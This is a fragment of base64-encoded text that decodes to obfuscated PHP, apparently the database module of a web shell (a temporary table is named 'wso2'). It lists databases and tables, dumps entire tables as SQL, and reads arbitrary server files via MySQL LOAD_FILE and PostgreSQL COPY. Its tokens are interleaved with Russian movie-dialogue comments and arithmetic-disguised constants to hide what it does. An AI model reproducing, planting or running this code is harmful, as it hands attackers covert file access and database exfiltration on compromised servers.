jQvCDQv9C+0LrRgNGL0LLQsNC70L7QvCwg0Y8g0LTQvtGB0YfQuNGC0LDRjiDQtNC+INGC0YDRkdGFLCDQuCDRgtGLINC80LXQvdGPINC90LUg0YPQstC40LTQuNGI0Ywg0L3QuNC60L7Qs9C00LAuICovCiAgICAgICAgZmV0Y2goKQogICAgICAgIHsKICAgICAgICAgICAgJHJlcyA9IGZ1bmNfbnVtX2FyZ3MoKSA/IGZ1bmNfZ2V0X2FyZyhyb3VuZCgwKSkgOiAkdGhpcy0+cmVzOwogICAgICAgICAgICBzd2l0Y2ggKCR0aGlzLT50eXBlKSB7CiAgICAgICAgICAgICAgICBjYXNlIC8qIDxQZXRlcj46INCYINGC0Ysg0LHQvtC70YzRiNC1INC90LUg0LHRg9C00LXRiNGMINC90LAg0LzQtdC90Y8g0L/Ri9GA0LjRgtGM0YHRjz8g0KXQvtGA0L7RiNC+LCDQvNC90LUg0L3RgNCw0LLQuNGC0YHRjyDRjdGC0L7RgiDRhNC+0LrRg9GBISDQryDQtdCz0L4g0YHQtNC10LvQsNGOISAqLwogICAgICAgICAgICAgICAgJ215c3FsJzoKICAgICAgICAgICAgICAgICAgICByZXR1cm4gQG15c3FsX2ZldGNoX2Fzc29jKCRyZXMpOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAvKiA8QXZvbj46INCt0LnQstC40L0hINCR0YPQtNGMINC+0YHRgtC+0YDQvtC20L3QtdC5ISDQp9GRLdGC0L4g0LzQvdC1INC60LDQui3RgtC+INGB0YvQutCw0YLQvdC+ISAqLwogICAgICAgICAgICAgICAgJ3Bnc3FsJzoKICAgICAgICAgICAgICAgICAgICByZXR1cm4gQHBnX2ZldGNoX2Fzc29jKCRyZXMpOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiAvKiA8UGV0ZXI+OiDQndGDINC4INGH0L4g0Y8g0LfQtNC10YHRjCDQt9CwINGI0YLQvtGA0LrQvtC5LCDQutCw0Log0LTQvtC70LHQvtGC0YDRj9GBINC60LDQutC+0Lkt0YLQvj8hICovCiAgICAgICAgICAgICAgICBmYWxzZTsKICAgICAgICB9CgogICAgICAgIGZ1bmN0aW9uIC8qIDxBdm9uPjog0KLRiyDRh9C+INGBINC90LjQvCDRgdC00LXQu9Cw0Ls/INCi0Ysg0LXQs9C+INGB0LrRg9C60L7QttC40Ls/PyDQotGLINC30LDRh9C10Lwg0LXQvNGDINGB0LTQtdC70LDQuyDQsdCw0YDQsdC4LdGB0LDQudC3PyEg0KLRiyDQtdCz0L4g0YHQutGD0LrQvtC20LjQuyEg0KLRiyDQtdCz0L4g0YHQutGD0LrQvtC20LjQuyEhINCh0LvRg9GI0LDQuSwg0YDQsNGB0LrRg9C60L7QttGMINC+0LHRgNCw0YLQvdC+INC80L7QtdCz0L4g0LTRgNGD0LPQsCwg0YDQsNGB0LrRg9C60L7QttGMISAqLwogICAgICAgIGxpc3REYnMoKQogICAgICAgIHsKICAgICAgICAgICAgc3dpdGNoICgkdGhpcy0+dHlwZSkgewogICAgICAgICAgICAgICAgY2FzZSAvKiA8RGF2aWQgQmxhaW5lPjog0J3RgyDRhdC+0YDQvtGI0L4uINCh0LzQvtGC0YDQuC4gKi8KICAgICAgICAgICAgICAgICdteXNxbCc6CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIC8qIDxQZXRlcj46IC4uLtCw0LDQkNCQ0JDQkNCQLi4uICovCiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5xdWVyeSgiU0hPVyBkYXRhYmFzZXMiKTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgLyogPEF2b24+OiDQp9GRINC30LAg0YXQtdGA0L3Rjz8g0K8g0YfRkS3RgtC+INGB0LvRi9GI0YMuLi4g0K3QudCy0L7QvT8g0KLRiyDQtdCz0L4g0LjQt9Cz0L7QstC90Y/QutCw0LshINCY0LfQs9C+0LLQvdGP0LrQsNC7INC30LDRh9C10Lw/ICovCiAgICAgICAgICAgICAgICAncGdzcWwnOgogICAgICAgICAgICAgICAgICAgIHJldHVybiAvKiA8UGV0ZXI+OiDQkiDRgNC+0YIg0LzQvdC1INC90L7Qs9C4LCDRjyDQstC+INCy0YDQtdC80LXQvdCw0YUg0LTQuNC90L7Qt9Cw0LLRgNC+0LIg0LHRi9C7ISAqLwogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCJTRUxFQ1QgZGF0bmFtZSBGUk9NIHBnX2RhdGFiYXNlIFdIRVJFIGRhdGlzdGVtcGxhdGUhPSd0JyIpOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiAvKiA8QXZvbj46INCn0ZE/INCU0LAg0YLQtdCx0Y8g0LTQtdGB0Y/RgtGMINGB0LXQutGD0L3QtCDQvdC1INCx0YvQu9C+ISAqLwogICAgICAgICAgICAgICAgZmFsc2U7CiAgICAgICAgfQoKICAgICAgICBmdW5jdGlvbiAvKiA8UGV0ZXI+OiDQrdGC0L4g0LfQtNC10YHRjCDQtNC10YHRj9GC0Ywg0YHQtdC60YPQvdC0LCDQsCDRgtCw0LwsINCy0L4g0LLRgNC10LzQtdC90LDRhSDQtNC40L3QvtC30LDQstGA0L7Qsiwg0Y8g0L3QtdC00LXQu9GOINC/0LDRgNC40LvRgdGPISAqLwogICAgICAgIGxpc3RUYWJsZXMoKQogICAgICAgIHsKICAgICAgICAgICAgc3dpdGNoICgkdGhpcy0+dHlwZSkgewogICAgICAgICAgICAgICAgY2FzZSAvKiA8UGV0ZXI+OiDQn9GP0YLRjCDQtNC90LXQuSDQuCDRh9C10YLRi9GA0LUg0L3QvtGH0LghINCv0LPQvtC00Ysg0LbRgNCw0LssINC60L7RgNC10YjQutC4INC60LDQutC40LUt0YLQvi4uLiDQkdC+0YDQvtC70YHRjyDRgSDQtNC40L3QvtC30LDQstGA0LDQvNC4INC30LAg0LbQuNC30L3RjCEgKi8KICAgICAgICAgICAgICAgICdteXNxbCc6CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIC8qIDxBdm9uPjog0J3RgyDRgtGLINGF0L7RgtGMINC90LAg0L3QuNGFINC/0L7QutCw0YLQsNC70YHRjz8gKi8KICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgnU0hPVyBUQUJMRVMnKTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgLyogPFBldGVyPjog0KLRiyDRh9C+LCDRkdC60L3Rg9C70YHRjyDRh9GC0L4g0LvQuCwg0LrQsNGC0LDRgtGM0YHRjywg0Y3RgtC+INC2INC90LUg0LrQsNGA0YPRgdC10LvRjNC60LgsINCwINC/0LDRgNC6INCu0YDRgdC60L7Qs9C+INC/0LXRgNC40L7QtNCwINC90LDRgdGC0L7Rj9GJ0LjQuSEgKi8KICAgICAgICAgICAgICAgICdwZ3NxbCc6CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIC8qIDxQZXRlcj46INCi0Ysg0YfRkSDQvdCwINC80LXQvdGPINC/0YvRgNC40YjRjNGB0Y8sINC00LXQvNC+0L0/PyEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgiU0VMRUNUIHRhYmxlX25hbWUgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIFdIRVJFIHRhYmxlX3NjaGVtYSAhPSAnaW5mb3JtYXRpb25fc2NoZW1hJyBBTkQgdGFibGVfc2NoZW1hICE9ICdwZ19jYXRhbG9nJyIpOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiAvKiA8QXZvbj46INCS0L7RgiDQtNC+0LvQsdC+0YLRgNGP0YEsINC00LDQttC1INC90LUg0L/QvtC60LDRgtCw0LvRgdGPISAqLwogICAgICAgICAgICAgICAgZmFsc2U7CiAgICAgICAgfQoKICAgICAgICBmdW5jdGlvbiAvKiA8UGV0ZXI+OiDQodC10LHQtSDQvdCwINC60LXQv9C60YMg0L/QvtGB0LzQvtGC0YDQuC4gKi8KICAgICAgICBlcnJvcigpCiAgICAgICAgewogICAgICAgICAgICBzd2l0Y2ggKCR0aGlzLT50eXBlKSB7CiAgICAgICAgICAgICAgICBjYXNlIC8qIDxBdm9uPjog0KfQviDRgtCw0Lw/ICovCiAgICAgICAgICAgICAgICAnbXlzcWwnOgogICAgICAgICAgICAgICAgICAgIHJldHVybiBAbXlzcWxfZXJyb3IoKTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgLyogPEF2b24+OiDQntC/0Y/RgtGMINC60LXQv9C60LAuLi4g0KXQstCw0YLQuNGCINC80LXQvdGP0YLRjCDRgNCw0LfQvNC10YAg0LzQvtC10Lkg0LrQtdC/0LrQuCwg0YLRiywg0LTQtdC80L7QvSEgKi8KICAgICAgICAgICAgICAgICdwZ3NxbCc6CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEBwZ19sYXN0X2Vycm9yKCk7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIC8qIDxQZXRlcj46INCeLCDQvtGC0LvQuNGH0L3Qviwg0LzQtdC90YLRiyDQv9GA0LjQtdGF0LDQu9C4ISDQo9GA0LAsINC80LXQvdGC0YssINC/0YDQuNCy0LXRgiEg0J3QsNC60L7QvdC10YYt0YLQviDQvNC10L3RgtGLISAqLwogICAgICAgICAgICAgICAgZmFsc2U7CiAgICAgICAgfQoKICAgICAgICBmdW5jdGlvbiAvKiA8UG9saWNlbWFuPjogPHRvIG9wZXJhdG9yPiDQktGL0YDRg9Cx0Lgg0LrQsNC80LXRgNGDLiAqLwogICAgICAgIHNldENoYXJzZXQoJHN0cikKICAgICAgICB7CiAgICAgICAgICAgIHN3aXRjaCAoJHRoaXMtPnR5cGUpIHsKICAgICAgICAgICAgICAgIGNhc2UgLyogPFBldGVyPjog0JTQsNCy0LDQudGC0LUg0LDRgNC40YHRgtGD0LXQvCDQtdCz0L4g0L/QvtCx0YvRgdGC0YDQtdC5ISAqLwogICAgICAgICAgICAgICAgJ215c3FsJzoKICAgICAgICAgICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9zZXRfY2hhcnNldCcpKSByZXR1cm4gQG15c3FsX3NldF9jaGFyc2V0KCRzdHIsICR0aGlzLT5saW5rKTsgZWxzZSAvKiA8QXZvbj46INCQ0YDQuNGB0YLRg9C50YLQtSDQtdCz0L4sINC+0L0g0L3QsNGBINC/0YPQs9Cw0LXRgiwg0Y8g0YfRg9GC0Ywg0L3QtSDQvtCx0L7RgdGB0LDQu9GB0Y8hICovCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnF1ZXJ5KCdTRVQgQ0hBUlNFVCAnIC4gJHN0cik7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlIC8qIDxQZXRlcj46INCe0L0g0LzQvtC4INC60L7QvNC/0LDQutGCLdC00LjRgdC60Lgg0YHQutGD0LrQvtC20LjQuyEgKi8KICAgICAgICAgICAgICAgICdwZ3NxbCc6CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEBwZ19zZXRfY2xpZW50X2VuY29kaW5nKCR0aGlzLT5saW5rLCAkc3RyKTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gLyogPFBvbGljZW1hbj46INCi0LDQui3RgtCw0LouINCS0YHQtdC8INGB0L/QvtC60L7QudC90L4sINGH0ZEg0LfQsCDQv9GA0L7QsdC70LXQvNGLPyAqLwogICAgICAgICAgICAgICAgZmFsc2U7CiAgICAgICAgfQoKICAgICAgICBmdW5jdGlvbiAvKiA8QXZvbj46INCvINC00LXRgNC20LDQuyDQtdCx0LDQu9Cw0LnQutGDLCDQsCDQvtC9INC10ZEg0YPQstC10LvQuNGH0LjQuyDQtNC+INC80LDRiNC40L3Riywg0YfRkdGC0Ywg0L3QtSDQv9GA0LjQtNCw0LLQuNC70L4sINCwINC10YnRkSDRgyDQutC10L/QutC4INC/0L7RgdGC0L7Rj9C90L3QviDRgNCw0LfQvNC10YAg0LzQtdC90Y/QtdGCLCDQstC+0YIhINCn0ZEg0LzQvdC1INGC0LXQv9C10YDRjCwg0L3QsCDQutC+0LvQtdC90LrQtSDQvdC+0YHQuNGC0YwsINGH0YLQviDQu9C4PyAqLwogICAgICAgIGxvYWRGaWxlKCRzdHIpCiAgICAgICAgewogICAgICAgICAgICBzd2l0Y2ggKCR0aGlzLT50eXBlKSB7CiAgICAgICAgICAgICAgICBjYXNlIC8qIDxQb2xpY2VtYW4+OiDQkNCz0LAsINC90YMg0LLRgdGRINC/0L7QvdGP0YLQvdC+Li4uIDx0byBEYXZpZCBCbGF5bmU+INCS0YssINGB0Y3RgCwg0YDQsNC30LLQtdGA0L3QuNGC0LXRgdGMINC4INCy0YHRgtCw0L3RjNGC0LUg0LvQuNGG0L7QvCDQuiDRgdGC0LXQvdC1LiAqLwogICAgICAgICAgICAgICAgJ215c3FsJzoKICAgICAgICAgICAgICAgICAgICByZXR1cm4gLyogPEF2b24+OiDQo9C50LTQuCEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmZldGNoKCR0aGlzLT5xdWVyeSgiU0VMRUNUIExPQURfRklMRSgnIiAuIGFkZHNsYXNoZXMoJHN0cikgLiAiJykgYXMgZmlsZSIpKTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgLyogPFBldGVyPjog0JXQs9C+INC90LXQvtCx0YXQvtC00LjQvNC+INCw0YDQtdGB0YLQvtCy0LDRgtGMINC30LAg0YLQviwg0YfRgtC+INC+0L0g0L7RgtC/0YDQsNCy0LjQuyDQvNC10L3RjyDQstC+INCy0YDQtdC80LXQvdCwINC00LjQvdC+0LfQsNCy0YDQvtCyLCDQsCDRjyDRgtCw0Lwg0YfRg9GC0Ywg0L3QtSDRgdC00L7RhSEg0K8g0LXRgdGC0Ywg0YXQvtGC0LXQuywg0Lgg0LzQvdC1INC/0YDQuNGI0LvQvtGB0Ywg0YPQutGA0LDRgdGC0Ywg0Y/QudGG0L4g0YEg0LTQuNC90L7Qt9Cw0LLRgNC40LrQvtC8LCDQuCDQvNCw0LzQsCDQtNC40L3QvtC30LDQstGA0LAg0LPQvdCw0LvQsNGB0Ywg0LfQsCDQvNC90L7QuSDQv9C+0YLQvtC8INC4INC30LDQs9C90LDQu9CwINC80LXQvdGPINCyINCj0JPQntCbISEhICovCiAgICAgICAgICAgICAgICAncGdzcWwnOgogICAgICAgICAgICAgICAgICAgICR0aGlzLT5xdWVyeSgiQ1JFQVRFIFRBQkxFIHdzbzIoZmlsZSB0ZXh0KTtDT1BZIHdzbzIgRlJPTSAnIiAuIGFkZHNsYXNoZXMoJHN0cikgLiAiJztzZWxlY3QgZmlsZSBmcm9tIHdzbzI7Iik7CiAgICAgICAgICAgICAgICAgICAgJHIgPSBhcnJheSgpOwogICAgICAgICAgICAgICAgICAgIHdoaWxlICgkaSA9ICR0aGlzLT5mZXRjaCgpKSAkcltdID0gJGlbJ2ZpbGUnXTsKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cXVlcnkoJ0RST1AgVEFCTEUgd3NvMicpOwogICAgICAgICAgICAgICAgICAgIHJldHVybiAvKiA8QXZvbj46INCU0LDQttC1INC90LUg0L/RgNC+0LrQsNGC0LjQu9GB0Y8hICovCiAgICAgICAgICAgICAgICAgICAgICAgIGFycmF5KCdmaWxlJyA9PiBpbXBsb2RlKCJcbiIsICRyKSk7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIC8qIDxQZXRlcj46INCvINCy0LXRgdGMINC40LfQs9C+0LLQvdGP0LrQsNC70YHRjyEgKi8KICAgICAgICAgICAgICAgIGZhbHNlOwogICAgICAgIH0KCiAgICAgICAgZnVuY3Rpb24gLyogPEF2b24+OiDQkCDRjdGC0L7RgiDQtNC+0LvQsdC+0YLRgNGP0YEg0LTQsNC20LUg0L3QtSDQv9C+0LrQsNGC0LDQu9GB0Y8g0L3QsCDQvdC40YUsINC+0L3QuCDQsdGL0LvQuCDQt9C70YvQtSEgKi8KICAgICAgICBkdW1wKCR0YWJsZSwgJGZwID0gZmFsc2UpCiAgICAgICAgewogICAgICAgICAgICBzd2l0Y2ggKCR0aGlzLT50eXBlKSB7CiAgICAgICAgICAgICAgICBjYXNlIC8qIDxQb2xpY2VtYW4+OiDQktGB0ZEg0L/QvtC90Y/RgtC90L4uLi4g0JTQsNCy0LDQudGC0LUg0L/QviDQv9C+0YDRj9C00LrRgy4g0J3QsNC30L7QstC40YLQtSDRgdCy0L7QuCDQuNC80LXQvdCwLiAqLwogICAgICAgICAgICAgICAgJ215c3FsJzoKICAgICAgICAgICAgICAgICAgICAkcmVzID0gJHRoaXMtPnF1ZXJ5KCdTSE9XIENSRUFURSBUQUJMRSBgJyAuICR0YWJsZSAuICdgJyk7CiAgICAgICAgICAgICAgICAgICAgJGNyZWF0ZSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXMpOwogICAgICAgICAgICAgICAgICAgICRzcWwgPSAkY3JlYXRlW3JvdW5kKDAgKyAwLjMzMzMzMzMzMzMzMzMzICsgMC4zMzMzMzMzMzMzMzMzMyArIDAuMzMzMzMzMzMzMzMzMzMpXSAuICI7XG4iOwogICAgICAgICAgICAgICAgICAgIGlmICgkZnApIGZ3cml0ZSgkZnAsICRzcWwpOyBlbHNlIC8qIDxQZXRlcj46IC4uLnIgZyB1IGYgYSBuLi4uICovCiAgICAgICAgICAgICAgICAgICAgZWNobygkc3FsKTsKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gYCcgLiAkdGFibGUgLiAnYCcpOwogICAgICAgICAgICAgICAgICAgICRpID0gcm91bmQoMCk7CiAgICAgICAgICAgICAgICAgICAgJGhlYWQgPSB0cnVlOwogICAgICAgICAgICAgICAgICAgIHdoaWxlICgkaXRlbSA9ICR0aGlzLT5mZXRjaCgpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAnJzsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRpICUgcm91bmQoMCArIDEwMDApID09IC8qIDxBdm9uPjogUGV0ZXIgUGVzenluc2tpICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICByb3VuZCgwKQogICAgICAgICAgICAgICAgICAgICAgICApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoZWFkID0gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAiO1xuXG4iOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICRjb2x1bW5zID0gYXJyYXkoKTsKICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGl0ZW0gLyogPFBldGVyPjog0KMg0YLQtdCx0Y8g0L/QvtC70YzRgdC60LDRjyDRhNCw0LzQuNC70LjRjyEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYXMgLyogPFBldGVyPjog0JXQs9C+INC90LXQvtCx0YXQvtC00LjQvNC+INCw0YDQtdGB0YLQvtCy0LDRgtGMLCDRgtCw0LwsINCyINGC0Y7RgNGM0LzRgyDQv9C+0YHQsNC00LjRgtGMINC40LvQuCDQtdGJ0ZEg0LrRg9C00LAsINC90YMsINCyINC+0LHRidC10LwsINC30LDQutGA0YvRgtGMINC90LDQstGB0LXQs9C00LAg0LXQs9C+ISAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkayA9PiAkdikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR2IC8qIDxBdm9uPjog0J7QvSDQvdCw0Lwg0LbQuNC30L3RjCDRgNCw0LfRgNGD0YjQuNC7INGD0LbQtSEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9PT0gLyogPERhdmlkIEJsYWluZT46IDxpbiB0aGUgcG9saWNlbWFuJ3Mgc3VpdD4g0KXQvtGA0L7RiNC+Li4uINCvINC/0L7RgdC80L7RgtGA0Y4sINGH0YLQviDRjyDRgdC80L7Qs9GDINC00LvRjyDQstCw0YEg0YHQtNC10LvQsNGC0YwuLi4gKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBudWxsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICApICRpdGVtWyRrXSA9ICJOVUxMIjsgZWxzZWlmIChpc19pbnQoJHYpKSAkaXRlbVska10gPSAkdjsgZWxzZSAvKiA8UGV0ZXI+OiDQkiDRgNC+0YIg0LzQvdC1INC90L7Qs9C4LCDRhNCw0Log0LzQvtC5INC80L7Qt9CzISEhICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbVska10gPSAiJyIgLiBAbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCR2KSAuICInIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb2x1bW5zW10gPSAiYCIgLiAkayAuICJgIjsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGhlYWQpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgLyogPFBldGVyPjog0KfRkSDQt9CwINGF0YPQudC90Y8sINGR0LzQsNC90LDRgNC+0L7QvtC+0L7RgiEhISDQryDRidCw0YEg0L7QsdC+0YHRgdGD0YHRjCEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAuPSAvKiA8PT09PT1lbmQgb2YgcGFydD09PT09PiAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdJTlNFUlQgSU5UTyBgJyAuICR0YWJsZSAuICdgICgnIC4gaW1wbG9kZSgiLCAiLCAkY29sdW1ucykgLiAiKSBWQUxVRVMgXG5cdCgiIC4gaW1wbG9kZSgiLCAiLCAkaXRlbSkgLiAnKSc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaGVhZCA9IGZhbHNlOwogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgLyogPD09PT09c3RyZWV0IG1hZ2ljPT09PT0+ICovCiAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgLyogPERhdmlkIEJsYWluZT46INCQ0LPQsCwg0LLQvtGCINGN0YLQuCDRgNC10LHRj9GC0LAuLi4gKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgIC49IC8qIDxQZXRlcj46INCd0LXQvdC10L3QtdC90LXQvdC1ISEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICJcblx0LCgiIC4gaW1wbG9kZSgiLCAiLCAkaXRlbSkgLiAnKSc7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZnApIGZ3cml0ZSgkZnAsICRzcWwpOyBlbHNlIC8qIDxBdm9uPjog0J3QtdGCLCDQvdC10YIsINCU0Y3QstC40LQg0JHQu9C10LnQvSwg0L3QtdGCISAqLwogICAgICAgICAgICAgICAgICAgICAgICBlY2hvKCRzcWwpOwogICAgICAgICAgICAgICAgICAgICAgICAkaSsrOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBpZiAoISRoZWFkKSBpZiAoJGZwKSBmd3JpdGUoJGZwLCAiO1xuXG4iKTsgZWxzZSAvKiA8RGF2aWQgQmxhaW5lPjog0K8g0LTQtdC70LDRjiDQvtGB0L7QsdGD0Y4sINGD0LvQuNGH0L3Rg9GOINC80LDQs9C40Y4uICovCiAgICAgICAgICAgICAgICAgICAgZWNobygiO1xuXG4iKTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgLyogPERhdmlkIEJsYWluZT46INCa0YLQviDRhdC+0YfQtdGCINGD0LLQuNC00LXRgtGMINC90LXQvNC90L7Qs9C+INC80LDQs9C40Lg/ICovCiAgICAgICAgICAgICAgICAncGdzcWwnOgogICAgICAgICAgICAgICAgICAgICR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnIC4gJHRhYmxlKTsKICAgICAgICAgICAgICAgICAgICB3aGlsZSAoJGl0ZW0gPSAkdGhpcy0+ZmV0Y2goKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkY29sdW1ucyA9IGFycmF5KCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRpdGVtIC8qIDxBdm9uPjog0KfRkSDQvNGLINGC0LXQsdC1LCDQtNC+0LvQsdC+0YLRgNGP0YHRiyDQutCw0LrQuNC1LdC90LjQsdGD0LTRjD8g0J3QtdGCLCDRgdC/0LDRgdC40LHQviEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYXMgLyogPFBldGVyPjog0JzRiyDRhtC10LvRi9C5INC00LXQvdGMINGI0L7Qv9C40LvQuNGB0YwsINC30LDQvNCw0L3QsNC70LjRgdGMLCDRhdC+0YLQuNC8INC/0YDQvtGB0YLQviDQvtGC0LTQvtGF0L3Rg9GC0YwsINCy0YHRkSEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGsgPT4gJHYpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtWyRrXSA9ICInIiAuIGFkZHNsYXNoZXMoJHYpIC4gIiciOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbHVtbnNbXSA9ICRrOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAnSU5TRVJUIElOVE8gJyAuICR0YWJsZSAuICcgKCcgLiBpbXBsb2RlKCIsICIsICRjb2x1bW5zKSAuICcpIFZBTFVFUyAoJyAuIGltcGxvZGUoIiwgIiwgJGl0ZW0pIC4gJyk7JyAuICJcbiI7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZnApIGZ3cml0ZSgkZnAsICRzcWwpOyBlbHNlIC8qIDxEYXZpZCBCbGFpbmU+OiDQmCDQs9C00LUg0LLRiyDRiNC+0L/QuNC70LjRgdGMPyAqLwogICAgICAgICAgICAgICAgICAgICAgICBlY2hvKCRzcWwpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gLyogPFBldGVyPjog0JIg0L7QtNC40L0g0LzQsNCz0LDQtyDRhdC+0LTQuNC70Lgg0L3QvtCy0YvQuSEgKi8KICAgICAgICAgICAgICAgIGZhbHNlOwogICAgICAgIH0KCiAgICAgICAgZnVuY3Rpb24gLyogPEF2b24+OiDQntC9INC10YnRkSDQvdC1INGC0YDQtdC90LTQvtCy0YvQuSwg0YLRiyDQv9GA0L4g0L3QtdCz0L4g0L3QtSDQt9C90LDQtdGI0YwuICovCiAgICAgICAgZHVtcF9jb2x1bW5zKCR0YWJsZSwgJGNvbHVtbnMsICRmcCA9IGZhbHNlKQogICAgICAgIHsKICAgICAgICAgICAgc3dpdGNoICgkdGhpcy0+dHlwZSkgewogICAgICAgICAgICAgICAgY2FzZSAvKiA8RGF2aWQgQmxhaW5lPjog0Jgg0YfQviDQutGD0L/QuNC70Lg/ICovCiAgICAgICAgICAgICAgICAnbXlzcWwnOgogICAgICAgICAgICAgICAgICAgICRzcWwgPSAiLS0iOwogICAgICAgICAgICAgICAgICAgIGlmICgkZnApIGZ3cml0ZSgkZnAsICRzcWwpOyBlbHNlIC8qIDxBdm9uPjog0K8g0LrRg9C/0LjQuyDQt9C10LvQtdC90YvQuSDRgdCy0LjRgtC10YAsINC10YHQu9C4INGC0Ysg0YLQsNC6INGF0L7Rh9C10YjRjCDQt9C90LDRgtGMISAqLwogICAgICAgICAgICAgICAgICAgIGVjaG8oJHNxbCk7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgJyAuIGltcGxvZGUoJywgJywgJGNvbHVtbnMpIC4gJyBGUk9NIGAnIC4gJHRhYmxlIC4gJ2AnKTsKICAgICAgICAgICAgICAgICAgICAkaSA9IHJvdW5kKDApOwogICAgICAgICAgICAgICAgICAgICRoZWFkID0gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICB3aGlsZSAoJGl0ZW0gPSAkdGhpcy0+ZmV0Y2goKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJyc7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaSAlIHJvdW5kKDAgKyA1MDAgKyA1MDApID09IC8qIDxQZXRlcj46INCX0LXQu9C10L3Ri9C5INGB0LLQuNGC0LXRgCEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJvdW5kKDApCiAgICAgICAgICAgICAgICAgICAgICAgICkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGhlYWQgPSB0cnVlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICI7XG5cbiI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJGNvbHVtbnMgPSBhcnJheSgpOwogICAgICAgICAgICAgICAgICAgICAgICBm